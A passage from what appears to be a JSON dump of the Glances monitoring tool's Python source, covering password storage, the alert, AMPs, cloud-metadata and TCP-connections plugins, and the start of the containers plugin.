Save the hashed password to the password file\n            if not clear:\n                save_input = input(f'Do you want to save the password in {self.password_file} ? [Yes/No]: ')\n                if save_input and save_input[0].upper() == 'Y':\n                    self.save_password(password_hashed)\n\n        return password\n\n    def save_password(self, hashed_password):\n        \"\"\"Save the hashed password to the Glances folder.\"\"\"\n        # Create the glances directory\n        safe_makedirs(self.password_dir)\n\n        # Create/overwrite the password file\n        with builtins.open(self.password_file, 'wb') as file_pwd:\n            file_pwd.write(b(hashed_password))\n\n    def load_password(self):\n        \"\"\"Load the hashed password from the Glances folder.\"\"\"\n        # Read the password file, if it exists\n        with builtins.open(self.password_file) as file_pwd:\n            return file_pwd.read().strip()\n"
  },
  {
    "path": "glances/password_list.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage the Glances passwords list.\"\"\"\n\nfrom glances.logger import logger\nfrom glances.password import GlancesPassword\n\n\nclass GlancesPasswordList(GlancesPassword):\n    \"\"\"Manage the Glances passwords list for the client|browser/server.\"\"\"\n\n    _section = \"passwords\"\n\n    def __init__(self, config=None, args=None):\n        super().__init__()\n        # password_dict is a dict (JSON compliant)\n        # {'host': 'password', ... }\n        # Load the configuration file\n        self._password_dict = self.load(config)\n\n    def load(self, config):\n        \"\"\"Load the password from the configuration file.\"\"\"\n        password_dict = {}\n\n        if config is None:\n            logger.warning(\"No configuration file available. Cannot load password list.\")\n        elif not config.has_section(self._section):\n            logger.warning(f\"No [{self._section}] section in the configuration file. Cannot load password list.\")\n        else:\n            logger.info(f\"Start reading the [{self._section}] section in the configuration file\")\n\n            password_dict = dict(config.items(self._section))\n\n            # Password list loaded\n            logger.info(f\"{len(password_dict)} password(s) loaded from the configuration file\")\n\n        return password_dict\n\n    def get_password(self, host=None):\n        \"\"\"Get the password from a Glances client or server.\n\n        If host=None, return the current server list (dict).\n        Else, return the host's password (or the default one if defined or None)\n        \"\"\"\n        if host is None:\n            return self._password_dict\n\n        try:\n            return self._password_dict[host]\n        except (KeyError, TypeError):\n            try:\n                return self._password_dict['default']\n            except (KeyError, TypeError):\n                return None\n\n    def set_password(self, host, password):\n        \"\"\"Set a password for a specific host.\"\"\"\n        self._password_dict[host] = password\n"
  },
  {
    "path": "glances/plugins/README.rst",
    "content": "===============\nGlances plugins\n===============\n\nThis is the Glances plugins folder.\n\nA Glances plugin is a Python module hosted in a folder.\n\nIt should implement a Class named <plugin name>Plugin inherited from GlancesPluginModel (example for foo plugin: FooPlugin).\n\nThis class should be based on the MVC model.\n- model: where the stats are updated (update method)\n- view: where the stats are prepare to be displayed (update_views)\n- controller: where the stats are displayed (msg_curse method)\n\nA plugin should define the following global variables:\n\n- fields_description: a dict twith the field description/option\n- items_history_list (optional): define items history\n\nHave a look of all Glances plugin's methods in the plugin folder (where the GlancesPluginModel is defined).\n"
  },
  {
    "path": "glances/plugins/__init__.py",
    "content": ""
  },
  {
    "path": "glances/plugins/alert/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Alert plugin.\"\"\"\n\nfrom datetime import datetime\nfrom functools import reduce\n\nfrom glances.events_list import glances_events\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# {\n#     \"begin\": \"begin\",\n#     \"end\": \"end\",\n#     \"state\": \"WARNING|CRITICAL\",\n#     \"type\": \"CPU|LOAD|MEM\",\n#     \"max\": MAX,\n#     \"avg\": AVG,\n#     \"min\": MIN,\n#     \"sum\": SUM,\n#     \"count\": COUNT,\n#     \"top\": [top3 process list],\n#     \"desc\": \"Processes description\",\n#     \"sort\": \"top sort key\"\n#     \"global\": \"global alert message\"\n# }\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'begin': {\n        'description': 'Begin timestamp of the event',\n        'unit': 'timestamp',\n    },\n    'end': {\n        'description': 'End timestamp of the event (or -1 if ongoing)',\n        'unit': 'timestamp',\n    },\n    'state': {\n        'description': 'State of the event (WARNING|CRITICAL)',\n        'unit': 'string',\n    },\n    'type': {\n        'description': 'Type of the event (CPU|LOAD|MEM)',\n        'unit': 'string',\n    },\n    'max': {\n        'description': 'Maximum value during the event period',\n        'unit': 'float',\n    },\n    'avg': {\n        'description': 'Average value during the event period',\n        'unit': 'float',\n    },\n    'min': {\n        'description': 'Minimum value during the event period',\n        'unit': 'float',\n    },\n    'sum': {\n        'description': 'Sum of the values during the event period',\n        'unit': 'float',\n    },\n    'count': {\n        'description': 'Number of values during the event period',\n        'unit': 'int',\n    },\n    'top': {\n        'description': 'Top 3 processes name during the event period',\n        'unit': 'list',\n    },\n    'desc': {\n        'description': 'Description of the event',\n        'unit': 'string',\n    },\n    'sort': {\n        'description': 'Sort key of the top processes',\n        'unit': 'string',\n    },\n    'global_msg': {\n        'description': 'Global alert message',\n        'unit': 'string',\n    },\n}\n\n\nclass AlertPlugin(GlancesPluginModel):\n    \"\"\"Glances alert plugin.\n\n    Only for display.\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config, stats_init_value=[], fields_description=fields_description)\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Set the message position\n        self.align = 'bottom'\n\n        # Set the maximum number of events to display\n        if config is not None and (config.has_section('alert') or config.has_section('alerts')):\n            glances_events.set_max_events(config.get_int_value('alert', 'max_events', default=10))\n            glances_events.set_min_duration(config.get_int_value('alert', 'min_duration', default=6))\n            glances_events.set_min_interval(config.get_int_value('alert', 'min_interval', default=6))\n        else:\n            glances_events.set_max_events(10)\n            glances_events.set_min_duration(6)\n            glances_events.set_min_interval(6)\n\n    def update(self):\n        \"\"\"Nothing to do here. Just return the global glances_log.\"\"\"\n        # Set the stats to the glances_events\n        self.stats = glances_events.get()\n\n    def build_hdr_msg(self, ret):\n        def cond(elem):\n            return elem['end'] == -1 and 'global_msg' in elem\n\n        global_message = [elem['global_msg'] for elem in self.stats if cond(elem)]\n        title = global_message[0] if global_message else \"EVENTS history\"\n\n        ret.append(self.curse_add_line(title, \"TITLE\"))\n\n        return ret\n\n    def add_new_line(self, ret, alert):\n        ret.append(self.curse_new_line())\n\n        return ret\n\n    def add_start_time(self, ret, alert):\n        timezone = datetime.now().astimezone().tzinfo\n        alert_dt = datetime.fromtimestamp(alert['begin'], tz=timezone)\n        ret.append(self.curse_add_line(alert_dt.strftime(\"%Y-%m-%d %H:%M:%S(%z)\")))\n\n        return ret\n\n    def add_duration(self, ret, alert):\n        if alert['end'] > 0:\n            # If finished display duration\n            end = datetime.fromtimestamp(alert['end'])\n            begin = datetime.fromtimestamp(alert['begin'])\n            msg = f' ({end - begin})'\n        else:\n            msg = ' (ongoing)'\n        ret.append(self.curse_add_line(msg))\n        ret.append(self.curse_add_line(\" - \"))\n\n        return ret\n\n    def add_infos(self, ret, alert):\n        if alert['end'] > 0:\n            # If finished do not display status\n            msg = '{} on {}'.format(alert['state'], alert['type'])\n            ret.append(self.curse_add_line(msg))\n        else:\n            msg = str(alert['type'])\n            ret.append(self.curse_add_line(msg, decoration=alert['state']))\n\n        return ret\n\n    def add_min_mean_max(self, ret, alert):\n        if self.approx_equal(alert['min'], alert['max'], tolerance=0.1):\n            msg = ' ({:.1f})'.format(alert['avg'])\n        else:\n            msg = ' (Min:{:.1f} Mean:{:.1f} Max:{:.1f})'.format(alert['min'], alert['avg'], alert['max'])\n        ret.append(self.curse_add_line(msg))\n\n        return ret\n\n    def add_top_proc(self, ret, alert):\n        top_process = ', '.join(alert['top'])\n        if top_process != '':\n            msg = f': {top_process}'\n            ret.append(self.curse_add_line(msg))\n\n        return ret\n\n    def loop_over_alert(self, init, alert):\n        steps = [\n            self.add_new_line,\n            self.add_start_time,\n            self.add_duration,\n            self.add_infos,\n            self.add_min_mean_max,\n            self.add_top_proc,\n        ]\n\n        return reduce(lambda ret, step: step(ret, alert), steps, init)\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        init = []\n\n        # Only process if display plugin enable...\n        if not self.stats or self.is_disabled():\n            return init\n\n        return reduce(self.loop_over_alert, self.stats, self.build_hdr_msg(init))\n\n    def approx_equal(self, a, b, tolerance=0.0):\n        \"\"\"Compare a with b using the tolerance (if numerical).\"\"\"\n        if str(int(a)).isdigit() and str(int(b)).isdigit():\n            return abs(a - b) <= max(abs(a), abs(b)) * tolerance\n        return a == b\n"
  },
  {
    "path": "glances/plugins/amps/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Monitor plugin.\"\"\"\n\nfrom glances.amps_list import AmpsList as glancesAmpsList\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'name': {'description': 'AMP name.'},\n    'result': {'description': 'AMP result (a string).'},\n    'refresh': {'description': 'AMP refresh interval.', 'unit': 'second'},\n    'timer': {'description': 'Time until next refresh.', 'unit': 'second'},\n    'count': {'description': 'Number of matching processes.', 'unit': 'number'},\n    'countmin': {'description': 'Minimum number of matching processes.', 'unit': 'number'},\n    'countmax': {'description': 'Maximum number of matching processes.', 'unit': 'number'},\n}\n\n\nclass AmpsPlugin(GlancesPluginModel):\n    \"\"\"Glances AMPs plugin.\"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config, stats_init_value=[], fields_description=fields_description)\n        self.args = args\n        self.config = config\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Init the list of AMP (classes define in the glances/amps_list.py script)\n        self.glances_amps = glancesAmpsList(self.args, self.config)\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return 'name'\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update the AMP list.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        if self.input_method == 'local':\n            for v in self.glances_amps.update().values():\n                stats.append(\n                    {\n                        'key': self.get_key(),\n                        'name': v.NAME,\n                        'result': v.result(),\n                        'refresh': v.refresh(),\n                        'timer': v.time_until_refresh(),\n                        'count': v.count(),\n                        'countmin': v.count_min(),\n                        'countmax': v.count_max(),\n                        'regex': v.regex() is not None,\n                    }\n                )\n        else:\n            # Not available in SNMP mode\n            pass\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def get_alert(self, nbprocess=0, countmin=None, countmax=None, header=\"\", log=False):\n        \"\"\"Return the alert status relative to the process number.\"\"\"\n        if nbprocess is None:\n            return 'OK'\n        if countmin is None:\n            countmin = nbprocess\n        if countmax is None:\n            countmax = nbprocess\n        if nbprocess > 0:\n            if int(countmin) <= int(nbprocess) <= int(countmax):\n                return 'OK'\n            return 'WARNING'\n\n        if int(countmin) == 0:\n            return 'OK'\n        return 'CRITICAL'\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        # Only process if stats exist and display plugin enable...\n        ret = []\n\n        if not self.stats or args.disable_process or self.is_disabled():\n            return ret\n\n        # Build the string message\n        for m in self.stats:\n            # Only display AMP if a result exist\n            if m['result'] is None:\n                continue\n            # Display AMP\n            first_column = '{}'.format(m['name'])\n            first_column_style = self.get_alert(m['count'], m['countmin'], m['countmax'])\n            second_column = '{}'.format(m['count'] if m['regex'] else '')\n            for line in m['result'].split('\\n'):\n                # Display first column with the process name...\n                msg = f'{first_column:<16} '\n                ret.append(self.curse_add_line(msg, first_column_style))\n                # ... and second column with the number of matching processes...\n                msg = f'{second_column:<4} '\n                ret.append(self.curse_add_line(msg))\n                # ... only on the first line\n                first_column = second_column = ''\n                # Display AMP result in the third column\n                ret.append(self.curse_add_line(line, splittable=True))\n                ret.append(self.curse_new_line())\n\n        # Delete the last empty line\n        try:\n            ret.pop()\n        except IndexError:\n            pass\n\n        return ret\n"
  },
  {
    "path": "glances/plugins/cloud/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Cloud plugin.\n\nSupported Cloud API:\n- OpenStack meta data (class ThreadOpenStack) - Vanilla OpenStack\n- OpenStackEC2 meta data (class ThreadOpenStackEC2) - Amazon EC2 compatible\n\"\"\"\n\nimport threading\n\nfrom glances.globals import to_ascii\nfrom glances.logger import logger\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Import plugin specific dependency\ntry:\n    import requests\nexcept ImportError as e:\n    import_error_tag = True\n    # Display debug message if import error\n    logger.warning(f\"Missing Python Lib ({e}), Cloud plugin is disabled\")\nelse:\n    import_error_tag = False\n\n\nclass CloudPlugin(GlancesPluginModel):\n    \"\"\"Glances' cloud plugin.\n\n    The goal of this plugin is to retrieve additional information\n    concerning the datacenter where the host is connected.\n\n    See https://github.com/nicolargo/glances/issues/1029\n\n    stats is a dict\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config)\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Init the stats\n        self.reset()\n\n        # Enable threads only if the plugin is enabled\n        self.OPENSTACK = None\n        self.OPENSTACKEC2 = None\n        if self.is_enabled():\n            # Init thread to grab OpenStack stats asynchronously\n            self.OPENSTACK = ThreadOpenStack()\n            self.OPENSTACKEC2 = ThreadOpenStackEC2()\n\n            # Run the thread\n            self.OPENSTACK.start()\n            self.OPENSTACKEC2.start()\n\n    def exit(self):\n        \"\"\"Overwrite the exit method to close threads.\"\"\"\n        if self.OPENSTACK:\n            self.OPENSTACK.stop()\n        if self.OPENSTACKEC2:\n            self.OPENSTACKEC2.stop()\n        # Call the father class\n        super().exit()\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update the cloud stats.\n\n        Return the stats (dict)\n        \"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        # Requests lib is needed to get stats from the Cloud API\n        if import_error_tag:\n            return stats\n\n        # Update the stats\n        if self.input_method == 'local' and (self.OPENSTACK or self.OPENSTACKEC2):\n            stats = self.OPENSTACK.stats\n            if not stats:\n                stats = self.OPENSTACKEC2.stats\n            # Example:\n            # Uncomment to test on physical computer (only for test purpose)\n            # stats = {'id': 'ami-id', 'name': 'My VM', 'type': 'Gold', 'region': 'France', 'platform': 'OpenStack'}\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the string to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        if not self.stats or self.stats == {} or self.is_disabled():\n            return ret\n\n        # Do not display Unknown information in the cloud plugin #2485\n        if not self.stats.get('platform') or not self.stats.get('name'):\n            return ret\n\n        # Generate the output\n        msg = self.stats.get('platform', 'Unknown')\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n        msg = ' {} instance {} ({})'.format(\n            self.stats.get('type', 'Unknown'), self.stats.get('name', 'Unknown'), self.stats.get('region', 'Unknown')\n        )\n        ret.append(self.curse_add_line(msg))\n\n        # Return the message with decoration\n        # logger.info(ret)\n        return ret\n\n\nclass ThreadOpenStack(threading.Thread):\n    \"\"\"\n    Specific thread to grab OpenStack stats.\n\n    stats is a dict\n    \"\"\"\n\n    # The metadata service provides a way for instances to retrieve\n    # instance-specific data via a REST API. Instances access this\n    # service at 169.254.169.254 or at fe80::a9fe:a9fe.\n    # All types of metadata, be it user-, nova- or vendor-provided,\n    # can be accessed via this service.\n    # https://docs.openstack.org/nova/latest/user/metadata-service.html\n    OPENSTACK_PLATFORM = \"OpenStack\"\n    OPENSTACK_API_URL = 'http://169.254.169.254/openstack/latest/meta-data'\n    OPENSTACK_API_METADATA = {\n        'id': 'project_id',\n        'name': 'name',\n        'type': 'meta/role',\n        'region': 'availability_zone',\n    }\n\n    def __init__(self):\n        \"\"\"Init the class.\"\"\"\n        logger.debug(\"cloud plugin - Create thread for OpenStack metadata\")\n        super().__init__()\n        # Event needed to stop properly the thread\n        self._stopper = threading.Event()\n        # The class return the stats as a dict\n        self._stats = {}\n\n    def run(self):\n        \"\"\"Grab plugin's stats.\n\n        Infinite loop, should be stopped by calling the stop() method\n        \"\"\"\n        if import_error_tag:\n            self.stop()\n            return False\n\n        for k, v in self.OPENSTACK_API_METADATA.items():\n            r_url = f'{self.OPENSTACK_API_URL}/{v}'\n            try:\n                # Local request, a timeout of 3 seconds is OK\n                r = requests.get(r_url, timeout=3)\n            except Exception as e:\n                logger.debug(f'cloud plugin - Cannot connect to the OpenStack metadata API {r_url}: {e}')\n                break\n            else:\n                if r.ok:\n                    self._stats[k] = to_ascii(r.content)\n        else:\n            # No break during the loop, so we can set the platform\n            self._stats['platform'] = self.OPENSTACK_PLATFORM\n\n        return True\n\n    @property\n    def stats(self):\n        \"\"\"Stats getter.\"\"\"\n        return self._stats\n\n    @stats.setter\n    def stats(self, value):\n        \"\"\"Stats setter.\"\"\"\n        self._stats = value\n\n    def stop(self, timeout=None):\n        \"\"\"Stop the thread.\"\"\"\n        logger.debug(\"cloud plugin - Close thread for OpenStack metadata\")\n        self._stopper.set()\n\n    def stopped(self):\n        \"\"\"Return True is the thread is stopped.\"\"\"\n        return self._stopper.is_set()\n\n\nclass ThreadOpenStackEC2(ThreadOpenStack):\n    \"\"\"\n    Specific thread to grab OpenStack EC2 (Amazon cloud) stats.\n\n    stats is a dict\n    \"\"\"\n\n    # The metadata service provides a way for instances to retrieve\n    # instance-specific data via a REST API. Instances access this\n    # service at 169.254.169.254 or at fe80::a9fe:a9fe.\n    # All types of metadata, be it user-, nova- or vendor-provided,\n    # can be accessed via this service.\n    # https://docs.openstack.org/nova/latest/user/metadata-service.html\n    OPENSTACK_PLATFORM = \"Amazon EC2\"\n    OPENSTACK_API_URL = 'http://169.254.169.254/latest/meta-data'\n    OPENSTACK_API_METADATA = {\n        'id': 'ami-id',\n        'name': 'instance-id',\n        'type': 'instance-type',\n        'region': 'placement/availability-zone',\n    }\n"
  },
  {
    "path": "glances/plugins/connections/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Connections plugin.\"\"\"\n\nimport psutil\n\nfrom glances.globals import nativestr\nfrom glances.logger import logger\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'LISTEN': {\n        'description': 'Number of TCP connections in LISTEN state',\n        'unit': 'number',\n    },\n    'ESTABLISHED': {\n        'description': 'Number of TCP connections in ESTABLISHED state',\n        'unit': 'number',\n    },\n    'SYN_SENT': {\n        'description': 'Number of TCP connections in SYN_SENT state',\n        'unit': 'number',\n    },\n    'SYN_RECV': {\n        'description': 'Number of TCP connections in SYN_RECV state',\n        'unit': 'number',\n    },\n    'initiated': {\n        'description': 'Number of TCP connections initiated',\n        'unit': 'number',\n    },\n    'terminated': {\n        'description': 'Number of TCP connections terminated',\n        'unit': 'number',\n    },\n    'nf_conntrack_count': {\n        'description': 'Number of tracked connections',\n        'unit': 'number',\n    },\n    'nf_conntrack_max': {\n        'description': 'Maximum number of tracked connections',\n        'unit': 'number',\n    },\n    'nf_conntrack_percent': {\n        'description': 'Percentage of tracked connections',\n        'unit': 'percent',\n    },\n}\n\n# Define the history items list\n# items_history_list = [{'name': 'rx',\n#                        'description': 'Download rate per second',\n#                        'y_unit': 'bit/s'},\n#                       {'name': 'tx',\n#                        'description': 'Upload rate per second',\n#                        'y_unit': 'bit/s'}]\n\n\nclass ConnectionsPlugin(GlancesPluginModel):\n    \"\"\"Glances connections plugin.\n\n    stats is a dict\n    \"\"\"\n\n    status_list = [psutil.CONN_LISTEN, psutil.CONN_ESTABLISHED]\n    initiated_states = [psutil.CONN_SYN_SENT, psutil.CONN_SYN_RECV]\n    terminated_states = [\n        psutil.CONN_FIN_WAIT1,\n        psutil.CONN_FIN_WAIT2,\n        psutil.CONN_TIME_WAIT,\n        psutil.CONN_CLOSE,\n        psutil.CONN_CLOSE_WAIT,\n        psutil.CONN_LAST_ACK,\n    ]\n    conntrack = {\n        'nf_conntrack_count': '/proc/sys/net/netfilter/nf_conntrack_count',\n        'nf_conntrack_max': '/proc/sys/net/netfilter/nf_conntrack_max',\n    }\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(\n            args=args,\n            config=config,\n            # items_history_list=items_history_list,\n            stats_init_value={'net_connections_enabled': True, 'nf_conntrack_enabled': True},\n            fields_description=fields_description,\n        )\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n    def update_for_net_connections_method(self, stats):\n        try:\n            net_connections = psutil.net_connections(kind=\"tcp\")\n        except Exception as e:\n            logger.warning(f'Can not get network connections stats ({e})')\n            logger.info('Disable connections stats')\n            stats['net_connections_enabled'] = False\n\n            return stats\n\n        for s in self.status_list:\n            stats[s] = len([c for c in net_connections if c.status == s])\n        initiated = 0\n        for s in self.initiated_states:\n            stats[s] = len([c for c in net_connections if c.status == s])\n            initiated += stats[s]\n        stats['initiated'] = initiated\n        terminated = 0\n        for s in self.initiated_states:\n            stats[s] = len([c for c in net_connections if c.status == s])\n            terminated += stats[s]\n        stats['terminated'] = terminated\n\n        return stats\n\n    def update_for_nf_conntrack_method(self, stats):\n        # Grab connections track directly from the /proc file\n        for i in self.conntrack:\n            try:\n                with open(self.conntrack[i]) as f:\n                    stats[i] = float(f.readline().rstrip(\"\\n\"))\n            except (OSError, FileNotFoundError) as e:\n                logger.warning(f'Can not get network connections track ({e})')\n                logger.info('Disable connections track')\n                stats['nf_conntrack_enabled'] = False\n\n                return stats\n        if 'nf_conntrack_max' in stats and 'nf_conntrack_count' in stats:\n            stats['nf_conntrack_percent'] = stats['nf_conntrack_count'] * 100 / stats['nf_conntrack_max']\n        else:\n            stats['nf_conntrack_enabled'] = False\n\n        return stats\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update connections stats using the input method.\n\n        Stats is a dict\n        \"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        if self.input_method == 'local':\n            # Update stats using the PSUtils lib\n\n            # Grab network interface stat using the psutil net_connections method\n            if stats['net_connections_enabled']:\n                stats = self.update_for_net_connections_method(stats)\n\n            if stats['nf_conntrack_enabled']:\n                stats = self.update_for_nf_conntrack_method(stats)\n        elif self.input_method == 'snmp':\n            # Update stats using SNMP\n            pass\n\n        # Update the stats\n        self.stats = stats\n        return self.stats\n\n    def update_views(self):\n        \"\"\"Update stats views.\"\"\"\n        # Call the father's method\n        super().update_views()\n\n        # Add specific information\n        try:\n            # Alert and log\n            if self.stats['nf_conntrack_enabled']:\n                self.views['nf_conntrack_percent']['decoration'] = self.get_alert(header='nf_conntrack_percent')\n        except KeyError:\n            # try/except mandatory for Windows compatibility (no conntrack stats)\n            pass\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist and display plugin enable...\n        if not self.stats or self.is_disabled() or not max_width:\n            return ret\n\n        # Header\n        if self.stats['net_connections_enabled'] or self.stats['nf_conntrack_enabled']:\n            msg = '{}'.format('TCP CONNECTIONS')\n            ret.append(self.curse_add_line(msg, \"TITLE\"))\n        # Connections status\n        if self.stats['net_connections_enabled']:\n            for s in [psutil.CONN_LISTEN, 'initiated', psutil.CONN_ESTABLISHED, 'terminated']:\n                if s not in self.stats:\n                    continue\n                ret.append(self.curse_new_line())\n                msg = '{:{width}}'.format(nativestr(s).capitalize(), width=len(s))\n                ret.append(self.curse_add_line(msg))\n                msg = '{:>{width}}'.format(self.stats[s], width=max_width - len(s) + 2)\n                ret.append(self.curse_add_line(msg))\n        # Connections track\n        if (\n            self.stats['nf_conntrack_enabled']\n            and 'nf_conntrack_count' in self.stats\n            and 'nf_conntrack_max' in self.stats\n        ):\n            s = 'Tracked'\n            ret.append(self.curse_new_line())\n            msg = '{:{width}}'.format(nativestr(s).capitalize(), width=len(s))\n            ret.append(self.curse_add_line(msg))\n            msg = '{:>{width}}'.format(\n                '{:0.0f}/{:0.0f}'.format(self.stats['nf_conntrack_count'], self.stats['nf_conntrack_max']),\n                width=max_width - len(s) + 2,\n            )\n            ret.append(self.curse_add_line(msg, self.get_views(key='nf_conntrack_percent', option='decoration')))\n\n        return ret\n"
  },
  {
    "path": "glances/plugins/containers/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Containers plugin.\"\"\"\n\nfrom copy import deepcopy\nfrom functools import partial, reduce\nfrom itertools import chain\nfrom typing import Any\n\nfrom glances.globals import nativestr\nfrom glances.logger import logger\nfrom glances.plugins.containers.engines import ContainersExtension\nfrom glances.plugins.containers.engines.docker import DockerExtension, disable_plugin_docker\nfrom glances.plugins.containers.engines.lxd import LxdExtension, disable_plugin_lxd\nfrom glances.plugins.containers.engines.podman import PodmanExtension, disable_plugin_podman\nfrom glances.plugins.plugin.model import GlancesPluginModel\nfrom glances.processes import glances_processes\nfrom glances.processes import sort_stats as sort_stats_processes\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'name': {\n        'description': 'Container name',\n    },\n    'id': {\n        'description': 'Container ID',\n    },\n    'image': {\n        'description': 'Container image',\n    },\n    'status': {\n        'description': 'Container status',\n    },\n    'created': {\n        'description': 'Container creation date',\n    },\n    'command': {\n        'description': 'Container command',\n    },\n    'cpu_percent': {\n        'description': 'Container CPU consumption',\n        'unit': 'percent',\n    },\n    'memory_inactive_file': {\n        'description': 'Container memory inactive file',\n        'unit': 'byte',\n    },\n    'memory_limit': {\n        'description': 'Container memory limit',\n        'unit': 'byte',\n    },\n    'memory_usage': {\n        'description': 'Container memory usage',\n        'unit': 'byte',\n    },\n    'io_rx': {\n        'description': 'Container IO bytes read rate',\n        'unit': 'bytepersecond',\n    },\n    'io_wx': {\n        'description': 'Container IO bytes write rate',\n        'unit': 'bytepersecond',\n    },\n    'network_rx': {\n        'description': 'Container network RX bitrate',\n        'unit': 'bitpersecond',\n    },\n    'network_tx': {\n        'description': 'Container network TX bitrate',\n        'unit': 'bitpersecond',\n    },\n    'ports': {\n        'description': 'Container ports',\n    },\n    'uptime': {\n        'description': 'Container uptime',\n    },\n    'engine': {\n        'description': 'Container engine (Docker, Podman, and LXD are currently supported)',\n    },\n    'pod_name': {\n        'description': 'Pod name (only with Podman)',\n    },\n    'pod_id': {\n        'description': 'Pod ID (only with Podman)',\n    },\n}\n\n# Define the items history list (list of items to add to history)\n# TODO: For the moment limited to the CPU. Had to change the graph exports\n#       method to display one graph per container.\n# items_history_list = [{'name': 'cpu_percent',\n#                        'description': 'Container CPU consumption in %',\n#                        'y_unit': '%'},\n#                       {'name': 'memory_usage',\n#                        'description': 'Container memory usage in bytes',\n#                        'y_unit': 'B'},\n#                       {'name': 'network_rx',\n#                        'description': 'Container network RX bitrate in bits per second',\n#                        'y_unit': 'bps'},\n#                       {'name': 'network_tx',\n#                        'description': 'Container network TX bitrate in bits per second',\n#                        'y_unit': 'bps'},\n#                       {'name': 'io_r',\n#                        'description': 'Container IO bytes read per second',\n#                        'y_unit': 'Bps'},\n#                       {'name': 'io_w',\n#                        'description': 'Container IO bytes write per second',\n#                        'y_unit': 'Bps'}]\nitems_history_list = [{'name': 'cpu_percent', 'description': 'Container CPU consumption in %', 'y_unit': '%'}]\n\n# List of key to remove before export\nexport_exclude_list = ['cpu', 'io', 'memory', 'network']\n\n# Sort dictionary for human\nsort_for_human = {\n    'io_counters': 'disk IO',\n    'cpu_percent': 'CPU consumption',\n    'memory_usage': 'memory consumption',\n    'cpu_times': 'uptime',\n    'name': 'container name',\n    None: 'None',\n}\n\n\nclass ContainersPlugin(GlancesPluginModel):\n    \"\"\"Glances Docker plugin.\n\n    stats is a dict: {'version': {...}, 'containers': [{}, {}]}\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(\n            args=args, config=config, items_history_list=items_history_list, fields_description=fields_description\n        )\n\n        # The plugin can be disabled using: args.disable_docker\n        self.args = args\n\n        # Default config keys\n        self.config = config\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        self.watchers: dict[str, 